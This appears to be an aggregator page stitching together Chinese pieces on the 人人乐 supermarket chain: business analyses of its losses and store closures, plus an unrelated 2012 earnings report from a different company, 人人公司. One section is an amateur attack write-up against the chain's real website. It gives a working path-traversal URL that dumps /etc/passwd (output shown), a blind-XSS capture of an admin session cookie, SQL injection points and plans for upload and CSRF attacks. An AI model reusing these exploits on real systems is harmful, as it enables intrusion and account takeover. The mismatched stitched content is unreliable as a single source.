人人乐现已进驻超过10个省份的30多个城市，超过120家门店。然而，在当地真正有一定影响力、超过10家门店的省份只有广东、陕西、四川和天津、河北，在当地具有一定优势的只有总部广东和陕西。这种仓皇的布局方式一时给人百花齐放的感觉，但当企业内部人财物管理和市场环境发生变化，就会非常糟糕。

加上2008年金融危机曾让珠三角地区很多简单加工企业或关闭或停产，导致大量工人从珠三角回流内陆，让该地区日常消费量总体下降，影响该地区门店经营业绩。

后遗症 再有就是跑步上市留下了很大的后遗症。人人乐2014年巨亏的一个重要原因，就是多达18家长期亏损的门店，造成直接损失近8440万元。

与其他年份大多关店1家的频率相比，上市前一年（2009年）新开的8家门店在2014年被关闭，让人不得不怀疑：人人乐在上市前的大步快跑，给后期带来了多么大的经营难题和经营损失。

从关闭门店的区域来看，大本营华南区频繁关店，子公司深陷亏损泥沼，带来子公司乃至整体的亏损。全国除西北区盈利外，有22家子公司亏损，其中华南17家子公司均出现不同程度亏损，广州市已连续5年陷入亏损，子公司亏损金额多在300万～4000万元。这种大面积的亏损必然导致公司整体业绩溃不成军。

悬崖边的自我救赎

上市对人人乐来说走了第一步，这一步虽然看似顺利，却给企业后续经营埋下很多隐患，随着这几年外部竞争和内部发展，隐患逐步爆发，门店选址失败、经营能力下滑、门店亏损、人员能力不足，管理制度虽然健全但执行监管不足导致财务危机。这些现象的同时爆发导致人人乐成了众矢之的，它可能是上年度连锁零售企业的亏损大户，虽然今年其一季度财报预告盈利约3500万～5500万元，但扭亏的主要原因是关掉一直亏损的门店，将烂账留在了2014年。但显然，这不是长久之计，2015年人人乐能从根本上进行改革，从而扭转乾坤吗？

我们看一下人人乐为了自救在做什么：

1.将大量商品联营模式改为自营；

2.增强生鲜商品经营能力；

3.大力发展社区超市业态；

4.打造线上线下相匹配的、有自己独特模式的O2O业务。

通过上述措施，或许能带来一定改观，但对处在逆境的人人乐来说，可能显得过于温和。

将商品联营改为自营，其实是想恢复人人乐创业初期的狼性文化，当初人人乐就是因为积极应对市场竞争，才赢得市场口碑和领先优势。而随着上市成为公司主要任务，人人乐的首要工作是在全国大规模开设区域公司和新门店，但企业没有专门进行人才梯队培养，全国普遍存在商品采购能力不足，才采取了“放水养鱼”的联营经营方式。

但其联营商品品类高达40%，这种模式在当初零售行业高速增长阶段，能带来良好收益，只要多开店，就可以坐收扣点。但当零售业进入增速放缓、成本上升、电商挑战阶段后，就严重制约了超市自身的经营能力和竞争能力。

其次，中国在2013年开始进入便利购物时代，虽然做社区商业风险小，但社区店有其特殊的经营要求。首先是价格要吸引人，其次是经营要灵活，要贴近顾客，然后用O2O模式吸引和留住80、90后消费者，否则社区商业的未来就是电商企业的。其实，人人乐早在2011年就在尝试建立“人人乐购”网上商城，然而这一商城至今还是基于PC端，多年来没有太大长进。与此同时，还要结合门店展示和物流配送优势，为消费者提供随时随地的购物服务。然而，这些都是人人乐以前没经历过的，要一下获得巨大成功还很难。

“根”上的痼疾

经过调整，人人乐可能会解决一部分经营问题，但发展至今，束缚人人乐手脚的还有不少先天因素，比如家族持股比例过高。

由于公司股权高度集中，大量中高层员工不满股权激励迟迟不能推进而愤然离职，涉及领域从采购到财务，从副总裁到区域经理、总监等。几番人事调整，何金明收回了部分中高层权利，何氏家族高度集权。值得注意的是，在业绩大幅下滑，净利缩水，纷争四起，员工怨声载道之时，人人乐高管薪酬仍高居不下，数额之高在同行内也屈指可数。

家族持股比例过高最终导致的就是整体经营风格的保守。这点或许会让人觉得诧异，人人乐走错那么多步都是因为冒进，怎么还保守呢？其实，看下人人乐年报会发现，近两年都有关于上市募集资金无法使用完毕的解释，以及一些支出记录。

人人乐2010年曾计划用募集的资金在未来2～3年内，在华南、西北、西南、华北开设68家门店，但至今也只完成了不足60家，远远滞后于招股说明书披露的计划进度。对此，人人乐的解释是，计划开发的门店项目没能正式签约，已签约项目因物业方延迟交付或解约等原因，造成部分项目不能按计划进行。同时，受外部经济环境等因素的影响，近两年新开门店的市场培育期延长，公司采取相对稳健的新店拓展政策，放缓了新店拓展速度，导致资金投资项目进展速度放缓。

但如果看零售业内其他企业，永辉2014年营收达367.69亿元，同比增长20.38%，实现净利润8.51亿元，同比增长18.05%。虽然净利润增速略低于年初制定的经营计划，但在年增50余家门店的快速展店情况下，去年业绩仍属不易。在相同的市场环境下，永辉2014年净增加52家门店，一直保持已签约、准备开业的备选门店在100家以上，即未来1～2年的门店现在都已做好了战略布局。

国内连锁零售企业的翘楚高鑫零售（大润发、欧尚的上市公司）2014年营业额上升6.6%，毛利上升12.8%，2014年新开49家综合大卖场，待开业门店162家，也做好了未来三年的门店储备。

那人人乐将开店的计划压缩后，资金用来做什么了呢？

首先，人人乐近两年每年都用数亿元甚至十几亿元募集的闲置资金购买了理财产品，平均年化收益率5%左右，这种上市募集资金的使用方式是否对得起股民？

其次，人人乐连续几年都在评估，或挑选自己经营较好的门店购置地产项目，为了降低门店的租金水平，一个两万多平方米的超市项目要动用1～2亿元购买地产，这种方式固然会压低卖场租金水平，但带来的房租收益，对人人乐的资金投资回报是否最为有效？

在2013～2014年，永辉除了开店，战略投资包括曾经的人人乐及目前的中百集团，同时与香港牛奶国际、贵州茅台、朗源股份等合作，进一步优化采购、物流、管理体系，提升自身企业的影响力和经营能力。

我们再看下2014年直营销售额已经过千亿元的电商巨头京东，虽然目前仍亏损，但京东将募集的资金用来发展有利于电商经济氛围的微金融和刺激消费者购物的白条消费。作为一个电商企业，京东为帮助供应商扩大规模，主动给有能力的电商供应商提供资金支持，从而提升自己的发展。而经营实体门店的人人乐，考虑的则是如何延长、克扣供应商的货款，从而获得更多资金收益。

主业是连锁零售的人人乐，如果资金主要是用来买理财产品和地产，恐怕不是投资人、供应商乃至消费者希望看到的。

人人乐超市网站检测相关 篇4

首先是任意下载文件 最严重的

www.renrenle.cn/share/download.jsp?filePath=../../../../../../etc/passwd&fileName=wind.txt

没有任何限制

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/bin/sh

man:x:6:12:man:/var/cache/man:/bin/sh

lp:x:7:7:lp:/var/spool/lpd:/bin/sh

mail:x:8:8:mail:/var/mail:/bin/sh

news:x:9:9:news:/var/spool/news:/bin/sh

uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

proxy:x:13:13:proxy:/bin:/bin/sh

www-data:x:33:33:www-data:/var/www:/bin/sh

backup:x:34:34:backup:/var/backups:/bin/sh

list:x:38:38:Mailing List Manager:/var/list:/bin/sh

irc:x:39:39:ircd:/var/run/ircd:/bin/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

nobody:x:65534:65534:nobody:/nonexistent:/bin/sh

libuuid:x:100:101::/var/lib/libuuid:/bin/sh

syslog:x:101:103::/home/syslog:/bin/false

messagebus:x:102:105::/var/run/dbus:/bin/false

whoopsie:x:103:106::/nonexistent:/bin/false

landscape:x:104:109::/var/lib/landscape:/bin/false

sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin

xh:x:1000:1000:xiaohong,,,:/home/xh:/bin/bash

ftp:x:106:113:ftp daemon,,,:/srv/ftp:/bin/false

xiaohong:x:1001:1001::/home/xiaohong:/bin/false

ftp1001:x:1002:1002::/home/ftp1001:/bin/false

ftp1002:x:1003:1003::/home/ftp1002:/bin/false

ftp1003:x:1004:1004::/home/ftp1003:/bin/false

ftp1004:x:1005:1005::/home/ftp1004:/bin/false

ftp1005:x:1006:1006::/home/ftp1005:/bin/false

ftp1006:x:1007:1007::/home/ftp1006:/bin/false

nhy:x:1008:1008::/home/nhy:/bin/false

postfix:x:107:115::/var/spool/postfix:/bin/false

下来是XSS

www.renrenle.cn/rrlcs/suggest/suggest.jsp

这里标题插入代码，可以盲打后台

Date: -02-04 16:23:54

OS: Windows XP

Browser: Internet Explorer 8.0

location: www.renrenle.cn/rrlcs/admin/manageMessages.jsp?left=1

toplocation: www.renrenle.cn/rrlcs/admin/index2.jsp?msg=success

cookie: JSESSIONID=8F1C50793FC30416BD4532F7E7E4

referrer: www.renrenle.cn/rrlcs/admin/side.jsp?moduleid=9

SQL注入的话，在有cookies时，新闻呀什么的

似乎没法访问admin.jsp，不知到是什么原因，不过别的页面确是正常

比如www.renrenle.cn/rrlcs/admin/managegoods.jsp

那么注入点在这里

www.renrenle.cn/rrlcs/admin/viewgoods.jsp?id=69

还有他的服务器是ubuntu 12.04 服务器版，不会搞了，用的是Jbossweb 搭建的网站，任意下载文件可以下载到jboss配置文件，理论上可以通过web管理上传木马，不过遗憾的是，我不会了，似乎端口是8083，不知到怎么的访问不了

PS 关于Jboss

[23:47:18] Shawn Smith: 这个是jboss源码 www.oschina.net/code/explore/jbossas

2.似乎他还有一个ckeditor，据说可以用%00截断，然后NC上传，

这个没测试。不知到她用的ckeditor有没有这个漏洞

3. 网站后台 /admin 还有三个，崇尚百货什么的，能注册后访问，不过似乎没啥用了

最后 还是失败了。。第一次搞JSP的站，求大牛教我。。

Skype:whirlwind110@live.com

漏洞证明：大牛自己上吧。。ubuntu下没QQ截图额。。。

PS 写道这里，我又想到一个好办法，获取cookies后可以访问一个修改密码的页面，，如果我CSRF的话，，不是管理员密码就有了。。嘿嘿，等下试试哦

修复方案：

嘿嘿 开玩笑，不求那些，过滤过滤再过滤

去练功了。。孩子们晚安啦，人多力量打，求学习。

人人2012年第三季度财务报告 篇5

2012年第三季度业绩要点

• 净营业收入为5040万美元，较去年同期增长47.2%

• 游戏收入为2420万美元，较去年同期增长120.2%

• 毛利润为3090万美元，较去年同期增长12.4%

• 运营亏损为2060万美元，去年同期运营亏损为640万美元

• 净亏损为1540万美元，去年同期净亏损为120万美元

• 调整后的净亏损(非美国通用会计准则)为1210万美元，去年同期调整后的净利润为30万美元

“这个季度我们的实名用户量持续保持稳健增长，同比增幅达到了25%。激活用户已超过1.72亿，比去年同期增长了3500万。9月的独立登陆用户也达到4800万，同比增长27%。”人人公司董事长兼首席执行官陈一舟表示。

“公司在第三季度的整体营收达到了预期。游戏业务在跨屏游戏战略的驱动下保持着强劲的增长。团购业务糯米网在这个季度也取得了相当不错的表现，各项指标均有大幅度提高，手机用户的交易量增长迅速。广告业务虽然环比有所增长，但仍然面临不少挑战，包括宏观经济的疲软，竞争环境的加剧以及用户流量不断从PC端向移动端的转移。”

“同时，我们也意识到无线领域的竞争格局与以往大不相同。因此，公司的战略和投资重心将持续向无线互联网转移。我们将进一步加强在社交化网络服务的核心竞争力，并在无线领域加以发展扩大。”陈一舟补充道。

“公司的各项业务处在不同的投资和发展阶段。虽然短期内我们的投资仍然可能超过变现的速度，但是我们将始终致力于为公司及股东创造长期价值。”人人公司首席财务官黄辉补充道。

2012第三季度企业业绩

2012年第三季度人人公司净营业收入为5040万美元，较去年同期增长47.2%。

2012年第三季度的在线广告业务收入为1700万美元，较去年同期下降13.7%。下滑的原因在于宏观经济环境不好的背景下品牌广告主降低了在人人网上的广告投入，行业竞争的加剧以及用户流量从PC到移动终端的持续迁移。人人公司的激活用户由2011年9月30日的1.37亿增至2012年9月30日的1.72亿。月独立登陆用户由2011年9月的3800万增至2012年9月的4800万。

2012年第三季度的互联网增值服务收入为3340万美元，较去年同期增长129.3%。其中，2012年第三季度在线游戏收入为2420万美元，较去年同期增长120.2%。游戏收入增长的主要原因是几款新发布游戏的成功。2012年第三季度其它互联网增值服务收入为920万美元，较去年同期增长157.1%。在其它互联网增值服务收入中，人人公司旗下的社交化电子商务网站糯米网贡献了460万美元的净营业收入。

2012年第三季度营业成本为1950万美元，较去年同期增长190.2%。2012年第三季度营业成本包含了糯米网的成本40万美元。营业成本的增加主要原因是带宽投入的增加和游戏的成本增加。

2012年第三季度的经营费用支出总计5150万美元，较去年同期增长51.8%。其中包含糯米网的经营费用支出1060万美元。除去糯米网，2012年第三季度的经营费用应为4090万美元，较去年同期增长58.1%。

销售及市场推广费用为2140万美元，较去年同期增长12.9%，增长的部分主要用于糯米网的销售队伍和广告推广费用以及其他人员费用和人人产品的推广。

研发费用为2080万美元，较去年同期增长102.1%，主要由于研发人员人数和薪酬的增加。

管理费用930万美元，较去年同期增长98.4%，主要用于扩大公司的规模及业务运营。

员工期权费用260万美元，较去年同期的150万美元有所增加，期权费用增加是由于给董事、高管及员工新授予的股权激励。

运营亏损为2060万美元，去年同期运营亏损为640万美元。

与去年同期的净亏损120万美元相比，2012年第三季度的净亏损为1540万美元。除去糯米网，与去年同期的净利润620万美元相比，2012年第三季度的净亏损为910万美元。与去年同期调整后净利润(非美国通用会计准则)30万美元相比，2012年第三季度调整后净亏损(非美国通用会计准则)为1210万美元。除去糯米网，与去年同期调整后净利润770万美元相比，2012年第三季度调整后净亏损为590万美元。调整后净损益定义为可持续经营业务净损益，除去股票期权激励费用，无形资产的减值和摊销。

股票回购计划完成2011年9月29日董事会授权公司总额不超过1.5亿美元的股票回购计划已于2012年9月28日结束。公司于2012年第三季度回购了约1330万股美国寄托股票。截至该计划结束，公司共回购了价值1.018亿美元的约2420万股美国寄托股票。

业绩展望

人人乐实习报告 篇6

被电商“挤吐血”的零售企业都在忙着寻找出路，人人乐连锁商业集团股份有限公司（以下简称“人人乐”）也不例外。不过其“社区生活超市+电商平台”的转型方向却难言新意。

公司近两年的关店处理严重拖累业绩，在2016年是否也有关店计划？ 市场对今年零售业预期仍不乐观，公司有什么措施解决？《投资者报》记者就以上问题于3月1日致电并致函公司，并很快得到详细回复。

上下半年业绩“冰火两重天”

春天已经来临，不过人人乐还在零售业寒冬中艰难前行。2月底，公司给出了一份黯淡的业绩快报：2015年净利润亏损4.65亿元，这已经是公司继2014年损失4.61亿元后的再次巨亏，这意味着连续两年亏损后将在2016年被ST处理，公司对此表示“会客观地面对”。

对于2015年的经营惨淡，公司给出的解释是，零售业面临严峻形势，公司可比门店销售下滑，物业、人力等成本居高不下;同时，2015年集中关闭了11家门店，对业绩产生较大影响。

不过，公司去年上半年还有4500万元的净利润，第三季度开始则急转直下巨额亏损。上半年和下半年的业绩缘何“冰火两重天”？

公司证券部工作人员告诉记者，去年下半年亏损是由于集中关店所致。2014年年底，公司有117家门店;2015年上半年新开设门店4家，达到121家。也就是说去年上半年，公司并没有关闭任何门店。不过在第三四季度，情况骤然直下，公司半年内关闭11家门店，预计损失过亿元。

公司把关店计划集中到了下半年，去年上半年的盈利也只是“看起来很美”。公司将关店损失在下半年确认，是否为了刻意提高上半年业绩水平？证券部工作人员否认了这一说法，表示公司没有刻意安排闭店时间。

在2014、2015年集中性关闭了29家门店后，人人乐今年还会继续关店吗？公司表示，“在2016年没有集中关店的计划。同时，我们在优势区域仍将继续发展，开设新的门店。”

战略转型方向缺乏新意

关店当然可以在一定程度上止损，但是所谓“开源节流”，最重要的还是“开源”，也就是说要寻找新的盈利点。主营业态以大卖场为主的人人乐，新的战略转型方向是“社区生活超市+人人乐购电商平台”，并拟定增近18亿元建设以上项目。

在定增预案中，公司称，“社区生活超市”是未来公司的一个主要发展方向。公司拟以租赁店面的方式在深圳、广州、成都等地区新开多达500 家社区生活超市。功能定位于满足社区全品类生鲜商品和日常便利商品的消费需求，同时，结合线上人人乐购电商平台并提供配送。

在零售业整体萧条的情况下，公司一方面受困关闭大卖场，另一方面又准备扩张社区生活超市。500家的数量也是一个不小的数目，之前扩张大卖场的后遗症还没解决，又不得不投入到新开社区超市的浪潮中。

实际上，社区生活超市已面临激烈竞争态势，不只是人人乐，各大连锁超市都在严峻环境中抢占“社区生活超市”机遇。永辉超市、华润万家等都在拓展小型店铺。零售巨头开拓社区超市、便利店市场虽然还处在试水阶段，但已呈现出上升的趋势，有分析人士表示超级市场小型化是零售业的一个走向。人人乐认为，“将社区超市是作为公司战略转型的方向之一，符合行业发展和消费市场的未来趋势。” 不过，公司计划发展社区超市也将面临与同行的正面厮杀。

公司的另一个战略转型方向则是人人乐购电商平台。“公司近几年实现了‘人人乐购’网上商城、‘人人乐园’移动购物客户端、顾客自助购物终端的投入运营，公司虽然宣传较少，但开发工作一直在持续，未来将继续深化和扩展完善公司的O2O模式。”

其实公司早在2011年就尝试建立了“人人乐购”网上商城，但是商城始终基于PC客户端，直到2015年11月才在IOS平台提供购物APP，失去了及时向O2O业务进行转型的机会。而且记者通过浏览“人人乐购”网页和“人人乐园”APP发现，所售产品都是超市常见品类，与天猫超市和京东等购物电商并无多少区别。在现如今线上线下电商巨头强强联合的背景下，公司表示“不排除与优秀电商合作的可能。”

由此可见，公司转型方向都不是新鲜事物，砸18亿元投入已经竞争激烈的领域前景并不乐观。人人乐很可能在商业模式、战略定位、营销思维等很多方面被同行与电商甩到了后面。即便是马上追赶，现在开始补救的难度也已经大大增加了。

对于2016年的业绩，公司认为“会获得改善”。除了上述转型外，公司还将“推进生鲜商品经营改革、升级供应链等，整合大卖场模式;严控快速增长的成本、推进新店的拓展。”

与滑坡的业绩相映衬的，是公司上市后震荡走低的股价。公司2010年上市时发行价26.9元，一度仅剩发行价约1/3，直至2015年2月开始才随大盘走高，迎来一波较强的上涨。不过即使在去年上半年的疯狂牛市中，最高价格26.8元仍未超过当初的发行价。